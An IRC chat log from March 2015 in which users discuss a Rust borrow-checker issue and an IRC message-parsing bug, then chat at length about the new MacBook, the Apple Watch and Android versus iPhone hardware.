[2015-03-09T18:34:36-0400] <JacobEdelman> really, its just the logical conclusion of the edelman genome
[2015-03-09T19:13:18-0400] <JacobEdelman> why is everyone silent
[2015-03-09T19:14:19-0400] <Tamini> oh
[2015-03-09T19:14:22-0400] <Tamini> ernest was here?
[2015-03-09T19:14:29-0400] <JacobEdelman> yes, he was
[2015-03-09T19:16:18-0400] <+awe> Hyper: if I don't try really hard, my streak is going to end next week.
[2015-03-09T19:16:28-0400] <Hyper> awe: perrrrrrrrfect
[2015-03-09T19:17:20-0400] <+awe> It's going to be hell to make sure I get a commit in every day. .-.
[2015-03-09T19:27:23-0400] Mode is +nt
[2015-03-09T19:31:54-0400] <JacobEdelman> why?
[2015-03-09T19:32:13-0400] <JacobEdelman> (also, you could always use spellbound :P)
[2015-03-09T19:32:39-0400] <+awe> I'm going to be organizing.
[2015-03-09T19:32:48-0400] <+awe> So, I'll be super busy every day for the whole week.
[2015-03-09T19:32:52-0400] <+awe> I'll be in Roxbury.
[2015-03-09T19:38:58-0400] <Hyper> awe: will that mean that I _double win_ pdgn?
[2015-03-09T19:39:06-0400] <+awe> Only if I fuck up.
[2015-03-09T19:49:07-0400] <Fill> awe: I need your help
[2015-03-09T19:51:04-0400] <Fill> awe: I'm writing a small socket-based thing in Rust to learn and to try something. I opted for a design similar to yours to get messages from the socket - implementing the Iterator trait, provide a .iter() function, and then use a for msg in server.iter()
[2015-03-09T19:51:54-0400] <+awe> Okay.
[2015-03-09T19:52:24-0400] <Fill> so, the problem is that the iterator struct holds a reference to the other struct where the socket lives, and now the borrow checker won't let me write into the socket inside the for loop because there is a mutable borrow in place (from when I call .iter())
[2015-03-09T19:52:39-0400] <Fill> that is, as long as I'm inside the loop, it doesn't allow me to write into the socket :x
[2015-03-09T19:53:01-0400] <Fill> because read() and write() need to receive &mut self
[2015-03-09T19:53:43-0400] <Fill> I tried to see how you do it but you use locks and support threaded connections - not really my use case
[2015-03-09T19:54:48-0400] <Fill> my connection is basically a BufStream<TcpStream>
[2015-03-09T19:55:47-0400] <Fill> and .next() on the iterator calls read_line on that
[2015-03-09T19:56:35-0400] <Fill> and then I try to send a reply inside the loop with write_all() on the buf stream.
[2015-03-09T19:57:02-0400] <Fill> should I change my design?
[2015-03-09T19:59:35-0400] <+awe> Can I see the code?
[2015-03-09T20:04:47-0400] <Fill> yeah, although it's multiple files and it's not public yet .. so, hmm...
[2015-03-09T20:05:10-0400] <Fill> well I can push it to my GH
[2015-03-09T20:05:27-0400] <Fill> pushing code that doesn't compile ... lol
[2015-03-09T20:06:59-0400] <Fill> awe: I'm basically trying to link to an IRC server. 
[2015-03-09T20:07:05-0400] <Fill> give me a sec.,  I  can push it to GH
[2015-03-09T20:08:24-0400] <+awe> you can do pastie?
[2015-03-09T20:08:25-0400] <+awe> erm
[2015-03-09T20:08:28-0400] <+awe> gist rather.
[2015-03-09T20:09:21-0400] <Fill> ah
[2015-03-09T20:09:21-0400] <Fill> sure
[2015-03-09T20:15:15-0400] <Fill> awe: https://gist.github.com/filipegoncalves/9f895ef92fe7cd73326c
[2015-03-09T20:15:34-0400] <Fill> I think ircstream.rs and main.rs are what matters here
[2015-03-09T20:15:50-0400] <+awe> So, you're basically trying to remake my IRC library for knowledge?
[2015-03-09T20:15:57-0400] <Fill> anyway, I just wanted to start by having a "pseudo"-server linked to another server
[2015-03-09T20:16:12-0400] <Fill> yep, and in the process of doing that, I might find a better way to handle Command 
[2015-03-09T20:17:08-0400] <Fill> ah, side note: see this in the message parsing code? --> let last_param = if let Some(beg) = to_process.find(" :") {
[2015-03-09T20:17:15-0400] <Fill> you have .find(':')
[2015-03-09T20:17:32-0400] <Fill> and I found out unrealircd sometimes sends parameters with ':'
[2015-03-09T20:17:47-0400] <Fill> so your library gets really confused
[2015-03-09T20:18:20-0400] <+awe> Really?
[2015-03-09T20:18:28-0400] <Fill> for example with COMMAND1 param param:2:somethinghere param3 :last param here with spaces
[2015-03-09T20:18:30-0400] <+awe> My other server that I test on is Unreal.
[2015-03-09T20:18:43-0400] <Fill> I can show you the log
[2015-03-09T20:18:54-0400] <+awe> Sure.
[2015-03-09T20:20:04-0400] <Fill> awe: this one
[2015-03-09T20:20:06-0400] <Fill> :Ping.MindForge.org TKL + Q * [HAL9000] services.MindForge.org 0 1425240089 :Reserved for services
[2015-03-09T20:20:07-0400] <Fill> NETINFO 126 1425946789 2311 MD5:1af14afb4b4a67c6ba935b3d9e991753 0 0 0 :MindForge
[2015-03-09T20:20:13-0400] <Fill> ops
[2015-03-09T20:20:15-0400] <Fill> the NETINFO
[2015-03-09T20:20:20-0400] <+awe> Yeah, I got it.
[2015-03-09T20:20:24-0400] <+awe> I can fix that.
[2015-03-09T20:20:40-0400] <Fill> unreal sends a lot of commands that are not in the rfc lol
[2015-03-09T20:22:30-0400] <Fill> awe: I'm really just making this for fun, I don't intend to publish the code because it's similar to the library you wrote. It's really just an exercise for me to learn Rust.
[2015-03-09T20:22:40-0400] <+awe> Yeah, no worries.
[2015-03-09T20:22:42-0400] <Fill> so, please don't think I am copying your work :)
[2015-03-09T20:23:24-0400] <+awe> Fill: So, the answer you're looking for is Cell/RefCell. :)
[2015-03-09T20:24:09-0400] <+awe> If you put the stream inside of a Cell/RefCell, you opt into manual mutation management.
[2015-03-09T20:24:30-0400] <Fill> I see
[2015-03-09T20:24:37-0400] <+awe> And all the send functions will work with immutable references to self.
[2015-03-09T20:25:42-0400] <Fill> ok, reading docs right now
[2015-03-09T20:26:13-0400] <Fill> thanks!
[2015-03-09T20:26:20-0400] <+awe> https://github.com/aatxe/irc/blob/0ad276fdaeb502b497fb44a0b062c7cf549b7e4a/src/conn.rs
[2015-03-09T20:26:30-0400] <+awe> You can see it from my early work before I made it thread-safe.
[2015-03-09T20:26:59-0400] <Fill> so, why didn't you need it after you made it thread-safe?
[2015-03-09T20:27:29-0400] <Fill> ah
[2015-03-09T20:27:30-0400] <Fill> hm
[2015-03-09T20:27:45-0400] <Fill> because it's wrapped in a mutex?
[2015-03-09T20:31:43-0400] <Fill> brb
[2015-03-09T20:31:45-0400] <+awe> Yeah.
[2015-03-09T20:31:55-0400] <+awe> A Mutex offers the same sort of deal, but with the promise of being thread-safe.
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[2015-03-09T20:39:17-0400] <calc0000> ping
[2015-03-09T20:39:27-0400] <+awe> hi
[2015-03-09T20:39:47-0400] <calc0000> still ping
[2015-03-09T20:39:49-0400] <nezorg> so what do people think of the new macbook?
[2015-03-09T20:39:57-0400] <+awe> Why would anyone want it?
[2015-03-09T20:40:02-0400] <+awe> You could get a Retina MBP for the same price.
[2015-03-09T20:40:08-0400] <calc0000> the logic board is so small
[2015-03-09T20:40:09-0400] <calc0000> ping
[2015-03-09T20:41:22-0400] <nezorg> it looks very pretty
[2015-03-09T20:41:22-0400] <jwoglom> nezorg: it's definately not a "pro" product
[2015-03-09T20:41:34-0400] <nezorg> sure
[2015-03-09T20:41:44-0400] <jwoglom> and i would never buy it, but i think there's a use for it as a product between the ipad and macbook air
[2015-03-09T20:41:56-0400] <jwoglom> for someone who kind of just does email and word processing and has lots of apple $$$
[2015-03-09T20:42:46-0400] <nezorg> one of the guys in the lab is considering getting one
[2015-03-09T20:43:04-0400] <nezorg> actually, the smartest guy (non-prof) in the lab
[2015-03-09T20:43:33-0400] <jwoglom> the screen looks really nice, it's high-res and stuff
[2015-03-09T20:43:36-0400] <+awe> It is really pretty.
[2015-03-09T20:43:39-0400] <jwoglom> and it has 8gb of ram and 256gb ssd base
[2015-03-09T20:43:45-0400] <jwoglom> but it has a really low powered processor
[2015-03-09T20:43:47-0400] <+awe> This is the first gold product that I actually think looks nice in gold.
[2015-03-09T20:43:55-0400] <nezorg> 8gb of ram is too bad
[2015-03-09T20:43:55-0400] <+awe> Though, I'd personally probably get the space grey.
[2015-03-09T20:44:00-0400] <+awe> But yeah, it's not worth it at all.
[2015-03-09T20:44:02-0400] <jwoglom> how much is the gold version?
[2015-03-09T20:44:04-0400] <+awe> Especially not at that price point.
[2015-03-09T20:44:06-0400] <+awe> Same price?
[2015-03-09T20:44:09-0400] <nezorg> yeah
[2015-03-09T20:44:15-0400] <jwoglom> oh really, i assumed it'd be more
[2015-03-09T20:44:26-0400] <+awe> It's $1,299.
[2015-03-09T20:44:30-0400] <+awe> And so is the MBP Retina.
[2015-03-09T20:44:32-0400] <jwoglom> if it had all of the macbook air ports i'd consider it
[2015-03-09T20:44:41-0400] <+awe> But then it'd just be a MacBook Air?
[2015-03-09T20:44:50-0400] <jwoglom> with a retina display
[2015-03-09T20:44:55-0400] <+awe> Yeah, I guess.
[2015-03-09T20:44:58-0400] <Hyper> dat logic board doe
[2015-03-09T20:44:58-0400] <nezorg> awe: weight is a big factor for some people (like the lab guy)
[2015-03-09T20:45:03-0400] <Hyper> and space grey is purdy
[2015-03-09T20:45:07-0400] <jwoglom> but with one usb type C, and a non-included $89 adapter for *1* usb and HDMI out...
[2015-03-09T20:45:09-0400] <jwoglom> no freaking way
[2015-03-09T20:45:12-0400] <+awe> 3.5 lbs vs 2 lbs.
[2015-03-09T20:45:19-0400] <Hyper> yeah the ports are upsetting
[2015-03-09T20:45:24-0400] <Hyper> or lack thereof
[2015-03-09T20:45:25-0400] <+awe> That's why it's so light.
[2015-03-09T20:45:33-0400] <+awe> And that's also why it's tiny.
[2015-03-09T20:45:36-0400] <+awe> You can't have it both ways.
[2015-03-09T20:45:37-0400] <nezorg> i like the port situation
[2015-03-09T20:45:39-0400] <+awe> ^
[2015-03-09T20:45:40-0400] <+awe> Agreed.
[2015-03-09T20:45:45-0400] <+awe> I don't even use any of my ports.
[2015-03-09T20:45:49-0400] <Hyper> I'd like if I can charge and attach a peripheral.
[2015-03-09T20:45:56-0400] <+awe> I just need the processing power of a MBP.
[2015-03-09T20:46:06-0400] <nezorg> Hyper: get an expansion thing then
[2015-03-09T20:46:06-0400] <calc0000> psh who needs peripherals
[2015-03-09T20:46:08-0400] <calc0000> if you have the air
[2015-03-09T20:46:12-0400] <Hyper> Also my keyboard takes 2 USB ports on it's own
[2015-03-09T20:46:13-0400] <jwoglom> nezorg: but you'd have to carry that adapter around everywhere
[2015-03-09T20:46:13-0400] <calc0000> move it
[2015-03-09T20:46:14-0400] <calc0000> over the air
[2015-03-09T20:46:15-0400] <Hyper> so :3
[2015-03-09T20:46:25-0400] <jwoglom> which negates the thinness and weight savings imo
[2015-03-09T20:46:31-0400] <nezorg> jwoglom: only if you use peripherals everywhere
[2015-03-09T20:46:34-0400] <+awe> If I had the cash, I guess I'd consider it as a web machine.
[2015-03-09T20:46:37-0400] <nezorg> i only use stuff at my desk
[2015-03-09T20:47:03-0400] <Hyper> like I can see this being useful as a super-portable, and then getting a legit desktop for everything serious
[2015-03-09T20:47:05-0400] <+awe> But compiling Rust is slow enough as is on my MBP.
[2015-03-09T20:47:05-0400] <jwoglom> not enough is type c yet for the gamble to be worth it imo
[2015-03-09T20:47:22-0400] <+awe> Yeah, Apple is betting on Type C, for sure.
[2015-03-09T20:47:24-0400] <Hyper> but I don't *want* two computers
[2015-03-09T20:47:29-0400] <jwoglom> i'm glad that they are
[2015-03-09T20:47:41-0400] <+awe> Hyper: the issue I have, as someone who has two computers, is that one of them is very clearly my main computer.
[2015-03-09T20:47:45-0400] <jwoglom> honestly if there was type c, regular usb and thunderbolt, i'd love it
[2015-03-09T20:47:52-0400] <jwoglom> with the type c as the power connector as well
[2015-03-09T20:47:57-0400] <Hyper> yeah
[2015-03-09T20:47:58-0400] <nezorg> awe: a lot of people just use remote servers a lot
[2015-03-09T20:48:02-0400] <Hyper> that'd be enough to sell me
[2015-03-09T20:48:03-0400] <+awe> nezorg: for dev?
[2015-03-09T20:48:09-0400] <nezorg> yeah
[2015-03-09T20:48:10-0400] <Hyper> awe: I used to
[2015-03-09T20:48:14-0400] <+awe> Yeah, I guess I could figure out how to do it.
[2015-03-09T20:48:21-0400] <Hyper> I developed off an iPad via SSH for a couple months
[2015-03-09T20:48:28-0400] <calc0000> > spending 1300 for a ssh terminal
[2015-03-09T20:48:32-0400] <Hyper> + a bluetooth keyboard
[2015-03-09T20:48:36-0400] <jwoglom> Hyper: did you at least have a keyboard?
[2015-03-09T20:48:38-0400] <jwoglom> oh good
[2015-03-09T20:48:39-0400] <Hyper> yeah
[2015-03-09T20:48:44-0400] <Hyper> I'm not insane
[2015-03-09T20:48:45-0400] <Hyper> well
[2015-03-09T20:48:49-0400] <Hyper> not *that* insane
[2015-03-09T20:48:52-0400] <+awe> calc0000 does dev ssh'd into a VM lol
[2015-03-09T20:48:53-0400] <nezorg> angr requires so many resources you pretty much have to do anything nontrivial remotely
[2015-03-09T20:49:00-0400] <+awe> or other way around?
[2015-03-09T20:49:07-0400] <+awe> the VM is ssh'd into main box?
[2015-03-09T20:49:09-0400] <+awe> calc0000: clarify?
[2015-03-09T20:49:34-0400] <Hyper> but yeah the ipad was good enough for simple development, plus it was easy as heck to carry around with me
[2015-03-09T20:49:39-0400] <calc0000> awe i3 on the vm
[2015-03-09T20:50:13-0400] <Hyper> I might try doing that again at some point, given my back pain from carrying around my laptop and shit
[2015-03-09T20:50:19-0400] <+awe> There's a way to use graphical vims over SSH, right?
[2015-03-09T20:50:27-0400] <Hyper> graphical vims?
[2015-03-09T20:50:29-0400] <Hyper> oh
[2015-03-09T20:50:30-0400] <Hyper> right
[2015-03-09T20:50:30-0400] <+awe> Like MacVim.
[2015-03-09T20:50:32-0400] <Hyper> people use those
[2015-03-09T20:50:33-0400] <calc0000> yeah x forwarding
[2015-03-09T20:50:37-0400] <calc0000> i don't like to do that
[2015-03-09T20:50:43-0400] <Hyper> X forwarding is such shit though
[2015-03-09T20:50:47-0400] <+awe> Yeah.
[2015-03-09T20:50:48-0400] <+awe> .-.
[2015-03-09T20:50:52-0400] <+awe> I can't text edit without a mouse though.
[2015-03-09T20:50:55-0400] <+awe> It pisses me off.
[2015-03-09T20:50:57-0400] <Hyper> awe: pls
[2015-03-09T20:50:58-0400] <Hyper> pls
[2015-03-09T20:51:00-0400] <Hyper> pls
[2015-03-09T20:51:01-0400] <calc0000> awe noob
[2015-03-09T20:51:01-0400] <calc0000> pls
[2015-03-09T20:51:03-0400] <Hyper> pls
[2015-03-09T20:51:18-0400] <hardmath123> awe: what did the "strawman" kick from the server mean?
[2015-03-09T20:51:26-0400] <+awe> I kicked him from the channel.
[2015-03-09T20:51:34-0400] <Hyper> hardmath123: JacobEdelman was using a strawman argument
[2015-03-09T20:51:38-0400] <+awe> It was because he was misrepresenting my argument to try to make it easier to attack.
[2015-03-09T20:51:45-0400] <hardmath123> Ah.
[2015-03-09T20:51:59-0400] <Hyper> awe: well while we're on the topic of logical fallacies...
[2015-03-09T20:52:07-0400] <Hyper> No true programmer uses a graphical vim
[2015-03-09T20:52:15-0400] <Hyper> pls
[2015-03-09T20:52:22-0400] <nezorg> ive considered switching my mbp for a chromebook for some stuff
[2015-03-09T20:52:26-0400] <+awe> Hyper: lolnotruescotsman
[2015-03-09T20:52:27-0400] <hardmath123> Strange, the message weechat logged was "<-- | raphus.pdgn.co has kicked JacobEdelman (strawman.)", not "awe has kicked ..."
[2015-03-09T20:52:32-0400] <+awe> hardmath123: /sakick
[2015-03-09T20:52:36-0400] <+awe> hardmath123: I'm not a chan op here.
[2015-03-09T20:52:45-0400] <+awe> hardmath123: I make the servers do my dirty work ;)
[2015-03-09T20:53:11-0400] <+awe> nezorg: This is basically that but Apple.
[2015-03-09T20:53:22-0400] <+awe> nezorg: Probably worth it since Chrome OS is shady.
[2015-03-09T20:53:37-0400] <+awe> I want to hold one.
[2015-03-09T20:53:43-0400] <nezorg> well i wouldnt run chrome os
[2015-03-09T20:53:53-0400] <nezorg> i have a Chromebook from defcon
[2015-03-09T20:54:09-0400] <+awe> Chromebook Pixel is also sexy.
[2015-03-09T20:54:09-0400] <JacobEdelman> no I wasn't!
[2015-03-09T20:54:33-0400] <Hyper> I've considered switching to some ultralight and having it basically be an ssh terminal, but I've always ended up deciding that I'm out of internet often enough that it's not worthwhile
[2015-03-09T20:54:56-0400] <nezorg> advantage of chromebook > macbook is good linux support
[2015-03-09T20:55:52-0400] <+awe> Hyper: Pixel has LTE.
[2015-03-09T20:57:09-0400] <jwoglom> the pixel is also like a year and a half old and uber expensive
[2015-03-09T20:57:25-0400] <Hyper> yeah
[2015-03-09T20:58:17-0400] <+awe> Yeah.
[2015-03-09T20:58:29-0400] <+awe> So, here's the things that would sell me on a new MacBook.
[2015-03-09T20:59:10-0400] <jwoglom> oh, also, the new macbook doesn't have a LED lighted apple logo on the lid and that makes me sad :(
[2015-03-09T20:59:50-0400] <nezorg> but that's like half the reason to get a mac
[2015-03-09T21:01:13-0400] <JacobEdelman> it was a valid argument!
[2015-03-09T21:01:23-0400] <+awe> 16 GB of RAM, 720p camera (at least).
[2015-03-09T21:01:31-0400] <+awe> I was trying to think of more, but I think that might be it.
[2015-03-09T21:01:52-0400] <jwoglom> also, it has a 480p camera, not 720p like all the macs of the past 5 years
[2015-03-09T21:02:00-0400] <+awe> Yeah.
[2015-03-09T21:02:01-0400] <+awe> Right?
[2015-03-09T21:02:03-0400] <+awe> That's gross.
[2015-03-09T21:02:15-0400] <+awe> The lack of LED light doesn't bother me.
[2015-03-09T21:02:20-0400] <+awe> I'm not very fond of that light anyway.
[2015-03-09T21:02:20-0400] <jwoglom> it just has too many compromises
[2015-03-09T21:02:25-0400] <jwoglom> it's a first-gen apple laptop
[2015-03-09T21:02:31-0400] <jwoglom> reminds me of the..2010 macbook air?
[2015-03-09T21:02:35-0400] <+awe> I'm excited to see where it goes though.
[2015-03-09T21:02:39-0400] <JacobEdelman> you know, these emails from people begging to make problems for CTCTF are weird
[2015-03-09T21:02:41-0400] <jwoglom> it didn't have a backlit keyboard
[2015-03-09T21:02:52-0400] <+awe> >people who need backlights
[2015-03-09T21:02:52-0400] <JacobEdelman> they feel like the kind of begging pleading emails I should be sending people
[2015-03-09T21:03:03-0400] <jwoglom> dude, backlit keyboards are awesome
[2015-03-09T21:03:14-0400] <jwoglom> and how is that apple light not cool
[2015-03-09T21:03:48-0400] <nezorg> do people actually use webcams?
[2015-03-09T21:03:51-0400] <+awe> nezorg: rarely.
[2015-03-09T21:04:08-0400] <jwoglom> they're nice for video calls/hangouts
[2015-03-09T21:04:09-0400] <jwoglom> obviously
[2015-03-09T21:04:26-0400] <+awe> I don't really care about my laptop advertising itself to others.
[2015-03-09T21:04:31-0400] <+awe> So, I don't like the apple light.
[2015-03-09T21:05:25-0400] <hardmath123> wait the new ones don't have a light?
[2015-03-09T21:05:28-0400] <+awe> No.
[2015-03-09T21:05:31-0400] <hardmath123> :(
[2015-03-09T21:05:32-0400] <+awe> They're like the iPhones now.
[2015-03-09T21:05:33-0400] <jwoglom> no apple light
[2015-03-09T21:05:43-0400] <+awe> Why do you guys care about the light?
[2015-03-09T21:05:45-0400] <+awe> You can't even see it.
[2015-03-09T21:05:47-0400] <jwoglom> it's cool!
[2015-03-09T21:06:05-0400] <hardmath123> it's like... a rolls royce should have the little statuette on the hood. it's not the same without.
[2015-03-09T21:06:28-0400] <Tamini> are you comparing apple to rolls royce
[2015-03-09T21:06:30-0400] <Tamini> :P
[2015-03-09T21:06:35-0400] <hardmath123> ...yes? :P
[2015-03-09T21:06:35-0400] <+awe> So, should I spend $650 on an  Watch?
[2015-03-09T21:06:46-0400] <+awe> (And/or $500?)
[2015-03-09T21:06:51-0400] <+awe> Erm, definitely or. Not and.
[2015-03-09T21:06:51-0400] <JacobEdelman> on a weird unicode character watch?
[2015-03-09T21:07:01-0400] <jwoglom> well, i mean, they are reasonably similar in brand value :P
[2015-03-09T21:07:14-0400] <+awe> jwoglom: A Rolls Royce Phantom costs $625,000.
[2015-03-09T21:07:30-0400] <jwoglom> awe: in public perception of quality, i meant
[2015-03-09T21:07:41-0400] <jwoglom> apple is seen as a classy brand
[2015-03-09T21:07:42-0400] <JacobEdelman> how about comparing it to the Arkam of asylums
[2015-03-09T21:07:49-0400] <JacobEdelman> ... hmmm
[2015-03-09T21:07:51-0400] <JacobEdelman> that failed
[2015-03-09T21:08:12-0400] <+awe> The unicode character was an Apple, by the way.
[2015-03-09T21:08:32-0400] <+awe> The stainless steel watch with the milanese loop is $650.
[2015-03-09T21:08:42-0400] <jwoglom> awe: i know it only displays on apple OSes
[2015-03-09T21:08:44-0400] <+awe> Buying the aluminum watch and a milanese loop band separately is $500 together.
[2015-03-09T21:08:49-0400] <jwoglom> but it didn't display for me (shrug)
[2015-03-09T21:08:51-0400] <nezorg> i don't see many people buying the $10k watches if only because they'll be obsolete so quickly
[2015-03-09T21:09:02-0400] <+awe> nezorg: It's for very wealthy people.
[2015-03-09T21:09:13-0400] <jwoglom> yeah exactly, only celebrities will probably buy it
[2015-03-09T21:09:16-0400] <Hyper> nezorg: you underestimate the people who buy apple products
[2015-03-09T21:09:20-0400] <jwoglom> there'll be a new, much better version in a year
[2015-03-09T21:09:22-0400] <nezorg> awe: well, of course very wealthy people will buy them
[2015-03-09T21:09:30-0400] <nezorg> but not normal wealthy people
[2015-03-09T21:09:38-0400] <jwoglom> it's a status symbol
[2015-03-09T21:09:42-0400] <+awe> But yeah, I really don't know if I should buy one since they announced the price.
[2015-03-09T21:09:46-0400] <nezorg> which is the typical segment for a $10k watch
[2015-03-09T21:09:54-0400] <jwoglom> awe: android wear! :P
[2015-03-09T21:09:55-0400] <nezorg> the other big thing is that it's not unique
[2015-03-09T21:09:57-0400] <+awe> I was imaging like $400 for the stainless steel with milanese loop.
[2015-03-09T21:10:02-0400] <+awe> jwoglom: Yeah, that'll work really well with my android phone.
[2015-03-09T21:10:15-0400] <jwoglom> have they announced any more details on how the OS functions?
[2015-03-09T21:10:20-0400] <jwoglom> it seems complicated
[2015-03-09T21:10:27-0400] <nezorg> yeah
[2015-03-09T21:10:31-0400] <jwoglom> and very different from Google's approach, which seems MUCH more suited to a watch imo
[2015-03-09T21:10:40-0400] <nezorg> then again I'm not really a fan of wear either
[2015-03-09T21:10:47-0400] <+awe> What's weird about it?
[2015-03-09T21:10:49-0400] <jwoglom> i have a G watch, i like it
[2015-03-09T21:11:03-0400] <nezorg> moto 360 master race
[2015-03-09T21:11:06-0400] <jwoglom> it's a first-gen product, but they'll only get better
[2015-03-09T21:11:15-0400] <+awe> Not having shitty android phones master race
[2015-03-09T21:11:22-0400] <jwoglom> nexus 5 :D
[2015-03-09T21:11:25-0400] <nezorg> awe: the moto x is a very nice phonr
[2015-03-09T21:11:26-0400] <jwoglom> it's getting old... :(
[2015-03-09T21:11:28-0400] <nezorg> *phone
[2015-03-09T21:11:35-0400] <+awe> Although honestly, Apple has been wrecking their OS stability lately.
[2015-03-09T21:11:47-0400] <+awe> OS X and iOS are both so much less stable than they used to be.
[2015-03-09T21:12:29-0400] <nezorg> my moto x is bae
[2015-03-09T21:12:39-0400] <Tamini> heh
[2015-03-09T21:12:42-0400] <nezorg> (except for the nasty lollipop memory leak >.<)
[2015-03-09T21:13:20-0400] <jwoglom> hopefully 5.1 will fix that
[2015-03-09T21:16:01-0400] <+awe> I don't think I could ever use an Android phone again.
[2015-03-09T21:16:06-0400] <jwoglom> awe: why?
[2015-03-09T21:16:13-0400] <jwoglom> when was your last experience with one
[2015-03-09T21:16:15-0400] <+awe> I was an early adopter and it was horrible.
[2015-03-09T21:16:19-0400] <+awe> I know it's better now.
[2015-03-09T21:16:29-0400] <+awe> But it's just blegh.
[2015-03-09T21:16:42-0400] <jwoglom> i used a samsung intercept with 2.1 back in 2010
[2015-03-09T21:16:50-0400] <+awe> I'm really interested in Ubuntu Phone though.
[2015-03-09T21:16:51-0400] <jwoglom> i thought it was so cool back in the day but that phone was complete garbage
[2015-03-09T21:16:56-0400] <jwoglom> you should try android again, awe :P
[2015-03-09T21:17:02-0400] <+awe> I'm not going to.
[2015-03-09T21:17:11-0400] <+awe> I have an iPhone 6.
[2015-03-09T21:17:14-0400] <jwoglom> why not? :/
[2015-03-09T21:17:20-0400] <+awe> I just bought a new phone.
[2015-03-09T21:17:30-0400] <jwoglom> you could buy a moto e or something
[2015-03-09T21:19:41-0400] <+awe> I can't use a low-end phone.
[2015-03-09T21:19:54-0400] <jwoglom> how do you know you couldn't? :P
[2015-03-09T21:19:54-0400] <+awe> That'd be just as bad as early adopter Android.
[2015-03-09T21:20:05-0400] <jwoglom> how early are you considering early
[2015-03-09T21:20:06-0400] <+awe> Because I've seen other people use their low-end Android phones.
[2015-03-09T21:20:18-0400] <+awe> pre-Nexus?
[2015-03-09T21:20:41-0400] <jwoglom> i used a gnex for a year and a half before my 5
[2015-03-09T21:20:52-0400] <nezorg> i had the second android phone!
[2015-03-09T21:21:15-0400] <+awe> I do really like the Moto 360 though.
[2015-03-09T21:21:25-0400] <+awe> It's pretty.
[2015-03-09T21:21:34-0400] <jwoglom> nezorg: mytouch 3g?
[2015-03-09T21:21:48-0400] <nezorg> jwoglom: pretty much, htc magic
[2015-03-09T21:21:54-0400] <Hyper> I had an OG Droid and it was great
[2015-03-09T21:22:05-0400] <jwoglom> the og droid was a big deal back in the day
[2015-03-09T21:22:12-0400] <+awe> It was ok.
[2015-03-09T21:22:16-0400] <+awe> I used Cyanogen.
[2015-03-09T21:22:27-0400] <+awe> Since that was the only way that it'd didn't suck.
[2015-03-09T21:22:44-0400] <Hyper> I have a friend who buys original Droids on ebay for about $25 and uses those.
[2015-03-09T21:22:59-0400] <Hyper> whenever his breaks, that is
[2015-03-09T21:23:12-0400] <jwoglom> heh
[2015-03-09T21:23:14-0400] <+awe> Lol.
[2015-03-09T21:23:19-0400] <+awe> I don't know how anyone could do that.
[2015-03-09T21:23:27-0400] <jwoglom> if he invested slightly more money, he could get a much better phone :P
[2015-03-09T21:23:35-0400] <jwoglom> like $100 even
[2015-03-09T21:23:37-0400] <Hyper> lol
[2015-03-09T21:23:38-0400] <jwoglom> for the og moto e or whatever
[2015-03-09T21:24:09-0400] <nezorg> i could probably make do with that
[2015-03-09T21:24:34-0400] <jwoglom> a lot of phones' flash memories get really bad and slow after around a year of use, unfortunately
[2015-03-09T21:24:41-0400] <jwoglom> samsung and asus are especially guilty
[2015-03-09T21:32:27-0400] <+awe> jwoglom: because they use cheap parts.
[2015-03-09T21:32:36-0400] <+awe> jwoglom: which is why I won't buy Android phones.
[2015-03-09T21:32:47-0400] <+awe> jwoglom: even brand new, the memory performs so much worse than iPhones.
[2015-03-09T21:32:53-0400] <jwoglom> you're making a pretty big generalization there
[2015-03-09T21:33:32-0400] <jwoglom> that's like saying, Dell uses crappy SSDs in it's desktops, so I don't buy any PCs, just Macs
[2015-03-09T21:33:49-0400] <+awe> All the memory benchmarks I've seen showed the OnePlus 1 being the only phone that even remotely compares to an iPhone.
[2015-03-09T21:34:00-0400] <+awe> Uhh, that's a perfectly valid point also?
[2015-03-09T21:34:05-0400] <+awe> Dell uses cheapy parts, too.
[2015-03-09T21:34:33-0400] <jwoglom> >dell uses crappy SSDs
[2015-03-09T21:34:35-0400] <jwoglom> >i don't buy any PCs
[2015-03-09T21:34:38-0400] <jwoglom> was the point i was trying to make
[2015-03-09T21:34:51-0400] <+awe> Samsung is the largest manufacturer of high-end Android phones.
[2015-03-09T21:34:55-0400] <+awe> And Motorola also cheaps out on parts.
[2015-03-09T21:35:10-0400] <+awe> It's not a one manufacturer therefore they're all bad.
[2015-03-09T21:35:17-0400] <+awe> It's an every manufacturer, therefore they're all bad.
[2015-03-09T21:36:25-0400] <+awe> And from what I've seen memory speed on phones is typically the biggest indicator of performance.
[2015-03-09T21:40:35-0400] <nezorg> wait, how does moto cheap out on parts?
[2015-03-09T21:41:00-0400] <+awe> Lousy components?
[2015-03-09T21:41:24-0400] <nezorg> [18:34] (+awe) And Motorola also cheaps out on parts.
[2015-03-09T21:41:27-0400] <jwoglom> you've basically said here that every cell phone manufacturer cheaps out on parts
[2015-03-09T21:41:29-0400] <jwoglom> except for apple
[2015-03-09T21:41:33-0400] <+awe> And OnePlus.
[2015-03-09T21:41:37-0400] <+awe> And Google.
[2015-03-09T21:41:47-0400] <jwoglom> google doesn't make any of their phones..
[2015-03-09T21:41:54-0400] <+awe> Well, they briefly did.
[2015-03-09T21:41:55-0400] <jwoglom> LG, Samsung, and Asus do
[2015-03-09T21:42:06-0400] <nezorg> when did google make a phone?
[2015-03-09T21:42:13-0400] <+awe> They bought part of Motorola to make phones?
[2015-03-09T21:42:28-0400] <jwoglom> they never did much with motorola while they owned them though
[2015-03-09T21:42:28-0400] <nezorg> oh, that wasn't really google, though
[2015-03-09T21:42:34-0400] <jwoglom> they were run independently, then got sold off again
[2015-03-09T21:42:37-0400] <+awe> And anyway, that's not really the point.
[2015-03-09T21:43:09-0400] <+awe> If their $700 phone has slower RAM and storage than Apple's $700 phone, why should I get theirs?
[2015-03-09T21:44:19-0400] <+awe> Even if they're not cheaping out, Apple is still massively outperforming them at the same pricepoint.
[2015-03-09T21:44:35-0400] <nezorg> uh, 2nd gen moto x has faster ram than iphone 5s (6 isn't on this chart)
[2015-03-09T21:44:52-0400] <jwoglom> also, apple uses samsung components in their phones
[2015-03-09T21:45:11-0400] <+awe> I'm aware.
[2015-03-09T21:45:21-0400] <+awe> Which begs the question of why their phones are so much faster.
[2015-03-09T21:45:49-0400] <+awe> nezorg: it's a year newer.
[2015-03-09T21:45:49-0400] <nezorg> ...uh, look at the benchmarks, they're not (except maybe in graphics)
[2015-03-09T21:46:02-0400] <+awe> I can't find the ones I saw before.
[2015-03-09T21:47:21-0400] <nezorg> okay, yeah, the memory on the 6 is significantly faster than the 2nd gen moto x
[2015-03-09T21:47:29-0400] <nezorg> but only just barely faster than the nexus 5
[2015-03-09T21:48:03-0400] <nezorg> plus, speed on my phone has never been a problem
